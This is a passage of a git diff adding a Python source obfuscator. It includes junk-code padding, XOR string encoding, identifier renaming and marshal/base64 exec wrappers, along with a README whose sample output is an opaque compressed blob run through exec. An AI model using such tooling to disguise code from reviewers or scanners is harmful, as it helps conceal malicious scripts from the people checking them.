sys.argv[2].isdigit()): + + f.write("""__obfuscator__ = 'RoseGuardian' +__author__ = 'gumbobr0t' +__github__ = 'https://github.com/DamagingRose/RoseGuardian' +__license__ = 'EPL-2.0'\n\n""") + + slow_print(Fore.RED + 'Junk method detected...\n' + Fore.RESET, delay=0.005) + + slow_print(Fore.RED + 'Pumping first junk layer into code...\n' + Fore.RESET, delay=0.005) + + for i in range(math.ceil(int(sys.argv[2])/2)): + + f.write(f'\n{get_junk()}') + + if (len(sys.argv) > 3 and sys.argv[3].isdigit()): + + if (sys.argv[3] == '0'): + + slow_print(Fore.RED + 'Obfuscation method 0 detected...\n' + Fore.RESET, delay=0.005) + + with open(os.path.abspath(sys.argv[1]), 'r') as file: + slow_print(Fore.RED + 'Reading source code...\n' + Fore.RESET, delay=0.005) + source_code = file.read() + + slow_print(Fore.RED + 'Parsing tree...\n' + Fore.RESET, delay=0.005) + tree = ast.parse(source_code) + + slow_print(Fore.RED + 'Removing comments...\n' + Fore.RESET, delay=0.005) + remove_comments(tree) + + slow_print(Fore.RED + 'Removing blank lines...\n' + Fore.RESET, delay=0.005) + remove_blank_lines(tree) + + slow_print(Fore.RED + 'Encoding strings...\n' + Fore.RESET, delay=0.005) + encode_strings(tree) + + variables = set() + functions = set() + classes = set() + + slow_print(Fore.RED + 'Changing class, function and variable names...\n' + Fore.RESET, delay=0.005) + + for node in ast.walk(tree): + if isinstance(node, ast.FunctionDef) or isinstance(node, ast.AsyncFunctionDef): + functions.add(node.name) + elif isinstance(node, ast.Name) and isinstance(node.ctx, ast.Store): + variables.add(node.id) + elif isinstance(node, ast.ClassDef): + classes.add(node.name) + + mapping = {name: random_name() for name in variables | functions | classes} + + rename_identifiers(tree, mapping) + + slow_print(Fore.RED + 'Adding self-decode to strings...\n' + Fore.RESET, delay=0.005) + f.write(f"\n\nkey = {key}\n\n") + f.write("def decode_obfuscated_string(obfuscated_string):\n") + f.write(" encoded = bytes.fromhex(obfuscated_string)\n") + f.write(" decoded = ''.join(chr(b ^ key) for b in encoded)\n") + f.write(" return decoded\n\n") + replace_strings_with_decoding(tree) + f.write(ast.unparse(tree)) + + if (sys.argv[3] == '1'): + + slow_print(Fore.RED + 'Obfuscation method 1 detected...\n' + Fore.RESET, delay=0.005) + + slow_print(Fore.RED + 'Writing obfuscated code to file...\n' + Fore.RESET, delay=0.005) + + f.write('\n\nimport marshal, base64, zlib; exec(marshal.loads(zlib.decompress(base64.b64decode(' + repr(obfuscator1()) + '))))') + + if (len(sys.argv) > 2 and sys.argv[2].isdigit()): + + slow_print(Fore.RED + 'Pumping second junk layer into code...\n' + Fore.RESET, delay=0.005) + + for i in range(math.ceil(int(sys.argv[2])/2)): + + f.write(f'\n{get_junk()}') + +if (len(sys.argv) != 4): + + slow_print(Fore.RED + 'Usage: python RoseGuardian.py \n' + Fore.RESET, delay=0.005) + slow_print(Fore.RED + 'Example: python RoseGuardian.py 10 1\n' + Fore.RESET, delay=0.005) + + sys.exit(0) + +if (len(sys.argv) == 4): + + if not os.path.exists(os.path.abspath(sys.argv[1])): + + slow_print(Fore.RED + f'File {sys.argv[1]} was not found.\n' + Fore.RESET, delay=0.005) + + sys.exit(0) + + if os.path.splitext(os.path.abspath(sys.argv[1]))[1] not in ('.py', '.pyc'): + + slow_print(Fore.RED + f'File {sys.argv[1]} is not a valid python file (.py or .pyc).\n' + Fore.RESET, delay=0.005) + + sys.exit(0) + + try: + + write_code() + + slow_print(Fore.RED + f'{sys.argv[1]} -> {"obfuscated_" + f"{sys.argv[1]}"}\n' + Fore.RESET, delay=0.005) + + except Exception as e: + + slow_print(Fore.RED + f'Failed to obfuscate {os.path.abspath(sys.argv[1])}.\n\nError: "{e}"\n' + Fore.RESET, delay=0.005) diff --git a/Rose-Obfv1/img.png b/Rose-Obfv1/img.png new file mode 100644 index 0000000..bf9fc8b Binary files /dev/null and b/Rose-Obfv1/img.png differ diff --git a/Rose-Obfv1/test.py b/Rose-Obfv1/test.py new file mode 100644 index 0000000..227a485 --- /dev/null +++ b/Rose-Obfv1/test.py @@ -0,0 +1,31 @@ +import random, string +import base64 + +def hello(): + + global var + + var = 'hii' # hi + + print(var) + +print(random.choices(string.ascii_letters, k=5)) + +hello() + +print(base64.b64encode(var.encode('utf-8'))) + +class banana(): # banana + ss = b'\nPEWPEW' + + print(ss) + +def counter(num): + + for i in range(num): + + print('dogs are cool!') + +counter(5) + +# lalala \ No newline at end of file diff --git a/Rose-Obfv2/.gitignore b/Rose-Obfv2/.gitignore new file mode 100644 index 0000000..d2e0779 --- /dev/null +++ b/Rose-Obfv2/.gitignore @@ -0,0 +1,160 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/#use-with-ide +.pdm.toml + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ diff --git a/Rose-Obfv2/LICENSE b/Rose-Obfv2/LICENSE new file mode 100644 index 0000000..5c187b6 --- /dev/null +++ b/Rose-Obfv2/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2024 gumbobr0t + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Rose-Obfv2/README.md b/Rose-Obfv2/README.md new file mode 100644 index 0000000..3431c99 --- /dev/null +++ b/Rose-Obfv2/README.md @@ -0,0 +1,166 @@ +# Rose-Obf +Rose Python Obfuscator can heavily encrypt your code. + +**This obfuscator is not finished yet and has a few bugs so it isnt really compatible with large or complex scripts. The variable renaming is really messed up. Gonna look into it soon tho...** + +Anyways, heres the usage: +``` +usage: obfuscate.py [-h] -i [-o ] + +Obfuscate Python code efficiently with Rose-obf. + +options: + -h, --help show this help message and exit + -i , --input + Input file name (required, .py) + -o , --output + Output file name +``` + +
+ Before Obfuscation + + ```py +print("hello, world!\nHI") + +print("wassup?!?!?!\nHI") + +# Dictionaries are a key-value object in Python. +# Like sets, you create them using { and }, but unlike sets, they must be +# created as key-value pairs using the : symbol. +# The values used can be any object. +my_dictionary = {"banana": "$10.00", "cheese": True} + +# Access items like with lists, except keys are usually strings. +my_dictionary["banana"] # returns the string '$10.00' +my_dictionary["cheese"] # returns True + +# If accessing a key that doesn't exist using [ ], Python raises a KeyError. +# e.g. my_dictionary['optimus'] will raise a KeyError. + +# Adding new items. +my_dictionary["optimus"] = "Truck" + +# Changing existing items. +my_dictionary["cheese"] = False + +# Get all the keys. (used for looping/iterating later on) +my_dictionary.keys() + +# Get all the values. +my_dictionary.values() + +# Get all the items (key-value pairs) +my_dictionary.items() + +# See help(dict) for other methods. + +for i in range(1, 10): + print(i) + +# A tuple is a read-only data structure for storing collections that +# don't need to be changed. You create one using ( and ) characters. + +# Create a tuple with ( and ) +my_tuple = (1, 2, "hello", 3.14, False, "hello") + +print(type(my_tuple)) + +# Access an item by index using [ and ]. Indexes start at 0 +print(my_tuple[0]) + +print(my_tuple[3]) + +# Access a container from right-to-left +print(my_tuple[-1]) +print(my_tuple[-3]) + +# Count number of items in a tuple +my_tuple.count("hello") +my_tuple.count(3.14) +my_tuple.count("blahblah") + +# Search and get the index of an item +my_tuple.index("hello") + +my_tuple.index(3.14) +my_tuple.index(False) + + +# Trying to change the value of an item in a tuple causes an error. + + +# Warning: If creating a tuple with only 1 item, you need to use this special syntax with a comma. +my_tuple2 = (42,) +type(my_tuple2) # is a 'tuple' type + +# If you forget the comma, then Python doesn't create the tuple. +fake_tuple = 42 +type(fake_tuple) # is an 'int' type + +import random +import math +from functools import reduce + + +# Define a custom function to calculate factorial recursively +def factorial(n): + if n == 0: + return 1 + else: + return n * factorial(n - 1) + + +# Generate a random list of numbers using list comprehension +random_numbers = [random.randint(1, 100) for _ in range(20)] + +# Filter even numbers from the list +even_numbers = list(filter(lambda x: x % 2 == 0, random_numbers)) + +# Find square roots of all numbers in the list +square_roots = list(map(math.sqrt, random_numbers)) + +# Calculate the sum of all numbers in the list +total_sum = reduce(lambda x, y: x + y, random_numbers) + +# Print the list of random numbers +print("Random numbers:", random_numbers) + +# Print the list of even numbers +print("Even numbers:", even_numbers) + +# Print the list of square roots +print("Square roots:", square_roots) + +# Print the total sum of the numbers +print("Total sum:", total_sum) + +# Generate a random dictionary with random keys and values +random_dict = {chr(random.randint(97, 122)): random.randint(1, 100) for _ in range(10)} + +# Print the random dictionary +print("Random dictionary:", random_dict) + +# Calculate the factorial of a random number +random_number = random.choice(random_numbers) +factorial_result = factorial(random_number) + +# Print the factorial result +print("Factorial of {}: {}".format(random_number, factorial_result)) + ``` +
+
+ After Obfuscation/Obfuscated + + ```py +# Obfuscated with Rose +# github.com/rose-dll + +# ^..^ / +# /_/\_____/ +# /\ /\ +# / \ / \ + +from base64 import urlsafe_b64decode as __O0O0O0O0O0;from lzma import decompress as lIlllIIIIIIlIllI;exec(eval(lIlllIIIIIIlIllI(b'\xfd7zXZ\x00\x00\x04\xe6\xd6\xb4F\x02\x00!\x01\x16\x00\x00\x00t/\xe5\xa3\xe02e\x0e\xc8]\x009\x9d\n\x88\x12\x8d6\x8b\xbeot\xe2\xa16s\x90\x9e\x06\xb4,+\x88c\x88\x06\x97\xa2\xdd\x9a\x9cP\xe6I\xeaRu\xcbx\x1e\x16\x9bl\xb5*<=\x0e}s\x7f:W\x93?\x80`K\x1c\x8b\x87;\xca\x0f\xef\x01\x1aw\xa4\x1ai\xa3\xd6\xaf4\x8e\'K\x18\x8c\xe0<\xe8\xbd\xfe\xaf`\x15c\xf4\x1fX\xff\xae\xef\xac^\x88\xf8\xe5\xbd\xe1\x0b.|\x17\x8b\x0c\x9e\x8e\x19go\xfc\xe9\xd0O^;=\x05\xfd3\x8d\x1fj\x10\xe75C\xf3v\x14\xa5\xcf\xe3\x0b\x91\xb2e}%{\xbf\xfb\x9a\x886\x85\x8cH\x9b`\x1dT\r\x11\xc3k\xce\xd4<\xd0\xab\x89w_\x1ak\xe0\xa3YO\x89\xb8\xdeg\xe6\x141\x0f\xb1*\x9fjp\xdfF\xf8z\x9d\xda\x9e\x8a\x9b\x01?\xd7\xea\xf8\xb3\xb5V\xeb\x92\x154\xa0\xdfc\xbe1Y\x99\x9c\x04\x92\xf0#;\xfe\xef\x86\xcd?\x05\xae\xdb\xf2\n\x0f\xcfY\xdaKo\n\xd8\xd1\xe1\x8a\x11Qh\x0cz\x0f\xd2<\x8b\xcb(tl\xf6W@\x19\xfaS\xb1y\x11\xa4>\x1dF\x85\x86\x9bW4Z\xf2\xa4\x99\x88g*\xf5\xdd+;\x03\xfc\xc7\xed\xda\xbf\x02\xe7W\x05\xbc\xc5Q\xdcQ\x9e%\xc2\x01&\xb5\x92H\xf8\xebA\x9e\xd0\xe5\xfaR\x8d\xa6\x17\xf9\x1fr\xc0o\xdf5\xdc\xdb3e\xa6n\xa4+q@B3K\xf2\x7f\xbb\x02[\xc2\x15_\xae\x98\xcd\x05\xfe\x88V\xd1X\xd6\x13tO\xef1\xf1\xf1MH\x8d\xb9\x8dpOA\x9c\xc61\x1d\xe4%\xda\xf1f\x9e\xfa\xe9!T!\x9f0z\x84\\\xb4\xdbE\xcf\x8aTY\xfa\xc89?\xf7>\x8b\xc7\xebV$LFnt\xac$\xea\xcc\x85N\xc6T\x90\x07\x1d\xd6\xc4\xb7\xadN\xad{TWy\xe5qx\x85|\x1e\xcc:\xe9\xda\xd1\xfap\xa2\xe3\xb1<\xf7b\xdf\xfb\xbd\xac\xe5=\xf8\x160\xbf\xa3 \xf2*\xfe\xd5\x7fB\xe4!\x80\x91\xb4\x18\xfb\xaa\xdd\x05\x14E/\xb8j\x92\xed{\xfbM:+\xe8\x87\x97\x98\x08\xe7s\x98$\xab\xf9\xcf\xb2\xed5\'~\xec:\x9c1\xa6\xa6\xa4#\xd6"\x15\xd1\xa6\xb8\xe1\xb6\xb5\x1a3"\xf3\xect\xdd\x15\xed|\xc7r\x9f; \xd0\xfbf\xe4E\xceL\xa9!\xbfTQ\xd0U\xed\x9eN^\xb3\xa2_\x81\x99\x84\xfaG\x84\x10"q\x92\xb5u\xe25\xa6`\xbf{\x0e\x97C\xd7\xee~kc\xa5\xa8\xdb\xc9\xa9k\xd89\xf58\x9f \t\xe9\x87\xdag\x9e\xa8\xe5w\x0f\xe3\xdc\x9c\x81R\xd9mh\x96\x91\xbd/\x04\xae\x16\xc3\xa70\x07Js\xd9\xe4[~\x8f\xbf\xc7\xc4=\xca\xa5=fF\xaf\x07\xc9\xe4\xcd/\x89\xa5\x9ft\x83\xd5\x15W\xf3rF\x08\xfa\x12\x11\x8ck*\x01\xa6(\xbfl \xf9\xf3t\x1c\x1d\xb7\x10\x18\xcf\xdc#\xbf\x04\xf4\xc3\xa3\x13\xb14\xdc\xc1*\x9c\xeb\xd3\x04\xb9\x03\xfa3\xcc1e\xca(\x88z\r\x18-\xed\x13a;d\xecC!W6\xe2Y\x17c2\\\x9f\xdd\x04\xdbEL\xe8\xbd\x96^E\xc9\x1ao\xa7\x8b\x10\x81\xb9\xa3\x1b\xc5\x10\xceOuF\x90o<\x15\xe8N?\\x\xcc\x8b\xfef\'\xff\xc2\x87\x9a\xf4\xf0\xa4\xe4\xe3\x0c\x1eC\x07\xed\n\xeaAU\xb6\x07&\x84\t\xeb\x8eHU\xbc\x88\xb3>.\x8c\xf0\xa2\xf2\xadj\xf5K\xa0\xea\x89\xec\x04\xa0\xfa\xc8\x93\xde\x17l\xd1\xd0\xb7\x19\xe8N\xbf~\x9b\xabw\x9bp\x0cA\x9b\x19&g\x17@\xdcmDc\xbaH\x10m\x1d\xf0\xca\xab\xb2\x07\xca\xde\xef\xb7\xd1\x01-\xf3E\xb7\x1b\x9c\x0c\x90\xf1\xaa\xbd\xf7\x0f\x8c\x84\x12&A\xa6\x06\xfb\xaa\xb8G8V\x18\x91\x1f\xffC\xc8\xbd\x02\xc6\xce\x9d\xab\xb9\x12!\xde\xc3n_\x00\xa8`\xfa4g\x01\x0b\xb2\x1e\xb7P\xd7nt\xae\xc7\xd5VP\xc1 \x97+\xfe{\x98\x01>\xca\x94&}\xa3;\xef[\x8bf}\xf6<\xa7\xcb\x0e\xdcw@\x80M\xcb@&^\xa9l\xf7g\x8c\x96\x95S\xea-\x9b\xc84=\xadc\x8d\xcb\xdf\xf2\xdb\x84b\xa2\x8e5\xcdN\x97\xc8\xe5\xff$-6\x9aIBgI\x84\t\xd4\xc4F\xb0\xa1d\x91O\xb3\xab\x1d\x85f\xbf\xb0\x1e\x8b\x98\xe8Y\x8e\'t\xa0\x05\xae~7u\xb2{\x8ep\x80s\xc6\x7fxb\x15J\xd3\xa5\xa4\xb3\\\xac\x11\xfd\xf0\xda\r\xe55s\x81\xc8\xdfC\xeb\x10\x8d\x14\x13\xc8\xda\xeb\xa1I/Z\x16\xdc\xe7\xaf\xc8P\xf5\xa4|\xe2\xe7\xa7\xe6t\xf9\xa8\x12\xe9!q\xd6\xb3\xf8w\xbd\xbb\x01;c\xb5v\xf0\xc1\xb7\x9b\xac\xd1?B\xf7\x0cKyu\xbf\xb2+y\xed\xc5\x1c\x013\x05\xad\xdan\xfd=sTB\x1e r\x9b\x11\xbaZ\x03\xb3\xc9\xb3\xab\x8ahW\x15N\xc8\xbb\xe4iw\xf3\xf2\xdd\xa5\x8at\xddH\xc8\x96\x05\x1c A\x0b\xbb\xf6\x98\xc6a\x97v\xf12=\xdd\xf6G\xf2\x1b\x07!\xd6\x13(\xfc\xe3t\xca\xcf\xb3\x96)\xa8\xff\xd1\x17CI\xa0\xcd\x8bJ\x86\x18n\x7f\xc27e\xc9w\xff\xe4\x05\xb2_\xb0\xd1\xc9\xf6\xeb\xfd%\x0f\x0b\xac\x9eJXQ\x1b\x92$>\x80\xc5:0r\xb8\xdc\x8a/w\x02g\x196\x92v\xb5\\\x8d\xef\x7f\x86\xa4\x02U\xf8\xde\xb7\xdd\xa7D"T\x92V\xa7e\x0b\xf5\x9b\xd3d\x95\xb9E\x99\nKb\x92\xa9\xa1\xac\xb6\x90\xedxt\xf7\xe7oX\x04\xd8\x1f,?\xaf\x8ak\x18"\xd8E\xc0V\xbb/\'\xf5\xc8\xf8\xa1Z>\x1b\xbe\xf1\xd8\xe8\\\xc5e\x08\xc5\x03\xc5#l_\x18x\xdb\x8d\xec\x0f\xf9\xa1\x90\xe99\xcf\xef\xe3\xddK\x9d\xf6\x91\x15\x16\xb5?\xb2\xd2\xab\xd0\xacK:be\xd5\xd6\xdb\x00\xce\xc8a\x99\xd03y!j\xa4\xbd\xce)\\\xd1\xf0\xcd-\xce\x07?HMz\xda#F>;S\xb5\xd4E\xa5{b\x1fk^sz3\x1b\xa6\xa1\xe2\x88G\x18\xde0\xc6\x02\xee\xf2Xi\x1fx\x99\xb6\x9a%Y\xee\x97\x05\\\xb8\xfd\xba\xa0\xfc;t\xcc\xb9\x00.\xa1\xe7\x15\xae?\xf9\xd5@\xf2\n\xe5\x01KDi5)\x1a\x94\xb2\xe47O\xa8ZR6\x08\x98\xe0\xc1\xe8\xf5`a\x12o\xba\xaf\xb7\xdf\xfbp\x1c\xba1\xc9\x14\xd9{\x8b\xa2c\xdc\x0f\x04\x0f\xc3\x96\x7fR%*\x12\xc2\x12\xaa\xfd\xea_\x89\x9d\x8b\x8c\x8cX\xea\x1f\xa0\x849\x91Z\x0b\x15\xcc\xc4?\xe0}Z\x02\x8aK\x1e\xc5\x8dk\x85\xe2\x0b\xcc\xd8\xd1\xf9\xaf\x87\x91\x9aU\x90\xc9\xd9\xc8\xf7\x85\x12\xf1R\x96\xae>6gy\x9e \xfb\xc5\x07\xe3\xe5)R<\x1dm^_\xd4\xf2z\xad\x1f\x03\x99NM\xac\xc3\x10\xcf5|\xd0@\xba\x8a\xf1\x1e\r\xb6\xec\x88\xe2o\xc3\xd6k\xf6\x88\x10\x07\xe4M.\xae\xa1\x9cn\x1a\xdb\x0e\x80\xee\x87\x1b\x02\xf0\x03l\xf5\xe6\x85(\xb4\xefqp\x8c:d\xbaeZ\xfet\xe2\x12\xa9\xb1\x87 r\xc6\x0c\xe5&\xa2\xbe\x98@\xa5\xb1\x14*\'&Z/\xc4~\xd2\xb4\xd4q\xdfk&\xea\x926\xc7\xd6T\x1c3\xaaO\xcf\xda\xb7$T\xd9\xe5{\x01L-%\x13\xa4\xb7)\x96\x0e\xc8\xc2*\xf6\xe9[\n,N\xb2\xa7,#h\xcdZ\tn\xc3\xb3,]\x95\x85\x07\xb4\xbe\xec\xfb\xce\x10\x1d!\n\xbc-\xa8B\xe1\x0e\xa0\xef\xd6a\xdf\xc2\xa7\x1a\xb4}\x8b\x1d1\xd81T\xb9IW\xc8\xa1s\xb4>\x9a\xeb\xddo|\xecp\x9a\x18\xabq\xeb-}k\x9c\\\xa2\x1f\x15C\n\x17`\xa2L\x87\xcef\xf2$\xa4\x1c\xdb\x19\xbb\xb3\xd9\x12\x8a\xdb\xa1\xd6\xfc{\xb9\x9a,%j\x15\xec\x9e\x05qf\xc1<\xe7\xbd\xbe\xa3P\xa5W"\x8d\xc6\x9e5\xbcV\x0f\x8c\x05\x11\xa0wM)f\xf5E2\xc4\x83S \xb7]b\xda\xd4\xa4hF,] hH1xY}\x0f\x7f\x80B\xa6\xc7,I\xcb\xae\xa6%\x80z\xc9\xbb\\\xa9a^\xc8\x839x\x11v\xa2\x83\xeb\x9c\x19\xb3\xe03d\x1d3\xfb\x96\xdc\xf5\x00\xa0&\x8erj|\xa0\x835(X\xa76rD\x0bG\xdb\xbb\xb8\xf4\xbf\xb0i\xa4\x15\x84S\'\x8a\x1d\xc1r}\x8b\xb1Z\xfb\xbf\xf2\xaf\x8d\x9c\nE\xe5U\x80AG\x1e9\x83\xe9\xe8\xeb\xef\xf3\xc9\xa5\xc7\xdar\xd5\xa4\xb1\xdb\xb4n\x08\xe7\xe5\xe2\xe3\xbb\xb6\x1b\x81C\x9d\x0e\xc5\xed|\x910\t\x11r\xf9Iv>\xe9-\x0cH\xd2\xcatq\xca\xdd\x9d\x94\xa9\xa4\xa1\x96v\xb6\xe0\x91\xbb-7\x05\xc0\xa9\x03n\xd0\xfb\x1am\x9a\xfa\xbbnKB\x10U\xbc\x9f\x8f\x18\t\xea\x9eS!|a\x97\xea\xce\x89\x84\xcb\xce)G\x14"\xdfK<\xab\x9e\x9ayo\xfa\x9c\x87\x01K\x06\x1fR\xf6\x1e\xb46\xe54\x15\x0f\'\xf7\xdd\xf3\xa4\x13\xde3\xfdJ\xb5\xd0j\x90~"\x18^\xcf\x8c/\x7f]\x00\x13\xf78\xb3z\x1b}\xcc\xa3\xe4\xf4\xf9\x08\xfe\x9d$s\x1f.\xf10\xd5\x8c\x1b\x16``\x87\xaab\x92h\xc8\xdfGY%{\xd18\x0e\x0bsE\xb8\xdbvB\x9d\xd0A`\xbc\x8e\xc1r\x17LTr\xd5<\xeb\x01D\x8b\'\x84\xd6U\x1bq\xa0\xadv\x01\xe0\x96\x05\\A\xff5Id&\r]\xd8\xe3\xa3\x80\r\xae\xe3\xea\xeag\x16Pq\xa2\xc8\x9b\x84\x8b\xbc+\xeb\xf6\xba\x11\x00e\x93n\xac\xb6!\xb1\x8c\xba;\x18\xcf\xa2\x1e\x81\xb1\xeb\xbf\x94\xbc\xde\xe1vS\x040\x87s\r\x92\x16B\x0bAS\x8f\x805\xef\x83=q6\x1d\xaf\xe0l\x057\xdeh\x9d\xf1t>\xd9\xef6\xd5\xcc\xdc\xc5c\x85\xa4\x0c\xb8\xfa\x99\x0b>}&/\xcd\x19\xe7\xa6-\xf7\xdf\ry\xfc\x91\n\xe0\xc4\xcaj"\xbei\xa2F\x97\x8d\xdd\xee\xca/\xe7\xe3L\x89\xa5q\x99\x10\xc2\r.\xd0\xa0\xb8\x0bb\xe2\x11P\xa2T#\\\xee\xee-\x06C\xb4z\x93"\x1a\xcfx\xcd\x17\xc8V\x8e\x93\xcb\x88\xff\xc9\xf0 D\xe3\xffL\xfb\x87\xd4\xa8\xf6\x01\xcf7/\xaf\x88t\xf7\xde\xca\x9b\xef\x08\r\x10\xc2!\xc9\xf0\xc8\x86T\xed\xd9\xac\x89\x9du|\x1a\x16jah=YQY\x92\xb5\x9eG\x13\x0b5^\xb3\x80\xf0\xccJ\xe4\x11\xc9\xbfJ\x1b\x81L\x9c\xb9\xae\x04\xa2t\xe3\x10>\x0e )n;a\x1c\xa7\xd4\xd9\xe7\xb1py\x02\xafo\x15\x17\xfe\xb1\x97\xb8\x9bl\xf2\xe4&\xe75G\x95\x98\x02d\x1aU=\xd5{a\xe2\xaew\xd7\x7fY|""\xd5 %$N>\x81v9\x1a\xf7.x\x9f\x05r[+\xb1\x9d\x92x0\x06\x93\xd1\xc1\xd9\xfds\xec|\xb0m\xe5\xb8\xda\x92D\xe4\x8d\xaa\xec\x97[?<\xc8U0\xc7\x13\x18\x18\x8a\tIm\xee\xb3\xd5\x86\xd6\x04\xec\x97|E)h\x12\x84SF"\xa0\xda\x84\xfb\x0c\x93\xbd\xcb6\x13@\xea\x82\x0f\xe8\x0b\xea\x1a\x9d\x13\xfet\xbf|[)\xdf6\xcc\x0c4K$o#{\xec,Nn\xff\xb8\xef\nak\xda1\xe8w-_\xa2\xee\x89Z\xe2\xdf\x1d5\xb3T*>\x19p\xf9\xdd\xf1\x06\xaf\\\x0c\x88\xf5\x8f\x18\xa3\x1e\xd6\x04\xe0\n\xa5\x98V\x04D\xb3\x8d\x14\x89%\xda\xd9\xf1\xdb\xef\x11|\x89\x10\x11"\xd1\xea\x9ej\x96"E\x14!\x9a\\\x8aMX\x95}*\xb6N\xac\x9fS\xd3\xdbZ?-m\x05\xcf\xeb[\xeb+\x0c\xf6\x1a0\x0ez.\xe4\xe8!\xed\xb3RQo\x97\xc4\xe9\xa6\xde\xad\xbb\xf1\x19$\x88o\x80\xb6\x81 \xf3\xd72zO\xaf\xae\xcf`p7\xbf\x947\x8dv\xbfU\x02\x87\xcb\x14\x90nT\nF\xa5$\xfe.\x9c\xcdxg\x1ej\x8f\xbd\xc8\xad:f\x04\xc2+O}\xa1E%\xf7\x95\xb6\x10\xba\xf0\xa5S\x00\xdc\x9dbY\n\x10\xe5\x9d\xa5oqCz\xe2\xbb@"F\xba"\xbbm\xf7#\xdb.\xe0\xb7ue\x97\xc9\xc0 \xd1\x8c1\x96ZQ*\xea@Sb\x1ccY\xf6\xf8\x92\x84[\x88\'\xdaDW\xf4s\xf1\x08\x14l\xd0+y\xabm\xb5S\x04\xb1\x968W6\x166\x8d\xd6\x82`3S\x1e\x90\xcc!\x1a\xc7\xcfc\x9d\xb5G\xa0\xc19_e\x92i\\\xb1\xd0\xe7\x86g\xf2X\xd9\xafS\x14*(\x13~\x89,\x8fI \n5\xacC4\xa4\xc0Pq\xc9f\xd0\x92/\xbdM\x94P\xe9\r\xc6\xb9%\x06\xf2\xda\x9fn\x1a\xc8I$\xbc6\xb4\xa0\xdd\xd1\x9b\xd8\x9d\x95$\x0f\xfel\xb7b\x04\xf9\x938\x96\x9e!3\x83~5hT\xf2qDm\r\xb8A\xe2\x05\x19%&\xfd\\\xa1\x1e\xd3q\x89".\xcf\xdb\xc4S\xab\xed\xec\xde<\xd9\xb6\xc1\xff\x9fb\xb6\xf6]\x0e\xa5\xce\xd6k\xeeQf\xfb\xf6o diff --git a/Rose-Obfv2/obfuscate.py b/Rose-Obfv2/obfuscate.py new file mode 100644 index 0000000..d5ac573 --- /dev/null +++ b/Rose-Obfv2/obfuscate.py @@ -0,0 +1,285 @@ +__name__ = "rose_obfuscator" +__author__ = "gumbobr0t" +__version__ = "1.0.3" + +from logging import INFO, DEBUG, getLogger, Formatter, FileHandler +from ast import ( + parse, + unparse, + walk, + Name, + Assign, + ClassDef, + FunctionDef, + AsyncFunctionDef, +) +from random import choice +from string import ascii_letters, ascii_uppercase, digits, punctuation +from os import path, getcwd +from re import sub +from lzma import compress, decompress +from argparse import ArgumentParser +from colorlog import StreamHandler, ColoredFormatter +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes +from cryptography.hazmat.primitives import padding +from cryptography.hazmat.backends import default_backend +from base64 import urlsafe_b64encode, urlsafe_b64decode + +log_format = "%(asctime)s [%(levelname)s] [%(module)s.%(funcName)s] %(message)s" +handler = StreamHandler() +handler.setFormatter(ColoredFormatter(log_format)) +handler.setLevel(INFO) +file_handler = 